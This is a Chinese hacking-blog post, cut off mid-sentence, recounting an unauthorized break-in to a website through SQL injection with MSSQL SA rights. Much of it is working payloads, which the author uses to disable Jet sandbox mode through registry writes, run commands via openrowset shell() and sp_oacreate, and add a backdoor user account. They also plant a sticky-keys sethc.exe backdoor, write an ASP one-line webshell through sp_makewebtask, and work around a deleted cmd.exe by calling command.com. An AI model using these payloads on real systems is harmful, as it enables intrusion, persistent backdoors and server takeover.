减小字体
增大字体- ·上一篇文章：linux平台下渗透日本著名XXXXXX.TV
- ·下一篇文章：管理员后台隐藏ASP后门
SA权限下的思路变通
去年的时候已经拿到了这个站的SHELL，可是后门很早就被K了，今天无意间又得到了注入，啊D检测很快就出来了令人欣喜的信息，SA权限，转到NB里面可以列目录但是不能执行，telnet对方1433不能连接，因为曾经入侵过一次知道WEB和SQL在同一台机器上，所以确定对方改了MSSQL端口。
尝试在NB里面恢复CMDSHELL、OACREAT都没有成功，所以开启SQLSERVERAGENT
|
;exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';--
|
回显成功之后执行系统命令
|
回显成功之后执行系统命令 |
还是没有成功，无奈之中希望寄托于沙盒模式，执行如下语句开启沙盒模式
|
;exec
master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--
|
回显成功，进一步调用oledb执行系统命令
|
and 0<>(select * from openrowset
('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd /c echo 1 >c:\1.txt")'))--
|
回显500，明显出错了，沙盒模式也暂且放下 既然可以写注册表，那一定可以读注册表，那先读读终端端口看看。
是默认的3389但是我无法连接，或许是没开终端服务，或许是防火墙屏蔽，不得而知，一定想知道我为什么要连接终端吧，下面看这段语句。
|
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe'; |
|
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; |
大家一定记得最近很流行的SHIFT后吧，以上两段语句就是利用FSO组件的读写权限替换粘拈键为桌面的启动程序EXPLORER，如果替换成功那么执行5次SHIFT后就可以直接执行EXPLORER.EXE开启桌面，但是连不上远程这个方法也就不能用了。当然以上的命令需要OACREAT的支持，我也就是抱着侥幸的心理试试看。假设OACREAT没有删，我们还可以利用以下语句执行系统命令。
|
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jxsaqjh 1234 /add';--
|
|
;DECLARE @shell INT EXEC SP_OAcreate 'Shell.Application',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jxsaqjh 1234/add';--
|
以上两个语句也是利用OACREAT调用wscript.shell和Shell.Application组件执行系统命令,但是在这里我们是用不了的，因为不仅OACREAT不在，就连那两个危险组件管理也写了个批处理卸了。
万般无奈下尝试lOG备分拿只SHELL，可是备分的页面却是404，很显然这个SA没有备分的权限，还能怎么做?看下面：
|
;exec%20sp_makewebtask%20'd:\zjkdj\zjkdj\zjkds\bake.asp,'%20select%20''<%25execute(request("a"))%25>''%20';--
|
利用sp_makewebtask这个存储过程写个马进去，很幸运这个过程是能用的，成功得到SHELL，本来想传xplog70.dll上去恢复xp_cmdshell存储过程，但是执行恢复的时候发现这个过程是在的，然后在海洋里执行CMDSHELL执行系统命令，但是出现了这一句，
|
xpsql.cpp: 错误 2 来自 CreateProcess（第 737 行
|
我晕啊，难道是CMD.EXE删了?在NB里面列目录查看SYSTEM32下的文件，果然没有cmd.exe，这下终于真象大白了，原来不能执行系统命令的原因是每个存储过程都是调用系统的cmd.exe，既然没有cmd.exe那还怎么执行系统命令?管理还是下了辛苦的哦。
整理下思路后我又想到了沙盒模式，因为啥盒模式调用的CMD不一定是系统自带的，我们可以自己传一个上去的，想到这里在WEB目录下传了个CMD.EXE然后在海洋里执行如下语句
|
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("d:\zjkdj\zjkdj\zjkds\cmd.exe /c net start>D:\zjkdj\zjkdj\zjkds\1.txt")')--
|
立刻到站点目录下找1.txt，但是没有发现，看来只能调用系统自带的程序了，无聊的在SYSTEM32下乱逛，突然发现了command.com这个程序，哈哈，总算看到希望了!这是什么?我来告诉你吧，它也是系统自带的执行系统命令的程序，和CMD.EXE的功能几乎没有区别，但是大小却比CMD.EXE小几十倍，既然不让调用外部程序那我就调用内部程序，马上就在海洋里修改好如下语句执行。
|
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("command.com /c net start>D:\zjkdj\zjkdj\zjkds\1.txt")')--
|
调用command.com执行系统命令，执行完成后在站点目录下总算找到了1.txt
哈哈，总算看到希望了，打开1.txt看看服务器开了什么服务，但是
